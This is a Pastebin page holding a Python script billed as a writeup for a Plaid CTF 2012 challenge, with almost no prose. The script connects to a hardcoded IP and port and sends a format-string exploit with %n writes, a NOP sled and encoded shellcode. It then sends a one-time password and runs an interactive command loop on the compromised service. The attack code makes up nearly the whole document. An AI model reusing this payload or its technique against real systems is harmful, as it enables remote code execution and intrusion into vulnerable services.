Advertisement
Guest User

Untitled

a guest
Apr 29th, 2012
1,291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.77 KB | None | 0 0
  1. writeup format plaid ctf 2012 #pctf 2012 by me :)
  2.  
  3.  
  4. #!/bin/python
  5.  
  6. import socket,time
  7.  
  8. s = socket.socket()
  9. s.connect(("23.20.104.208", 56345))
  10. s.send('2ipzLTxTGOtJE0Um\n')
  11. off = s.recv(1024)
  12. xpl = '%-252s' % ('\x18\x9E\x04\x08\x19\x9E\x04\x08\x1A\x9E\x04\x08\x1B\x9E\x04\x08%188X%19$n%15X%20$n%36X%21$n%22$n'+"\x90"*80+"\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81")
  13. s.send(xpl+'\n')
  14. print s.recv(1024)
  15. s.send('176363600\n'); #this is one time password using gdb :)
  16. s.recv(1024)
  17. print s.recv(1024)
  18. while (True):
  19.     cmd = raw_input("$ ")
  20.     print s.send(cmd+'\n')
  21.     print s.recv(1024)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement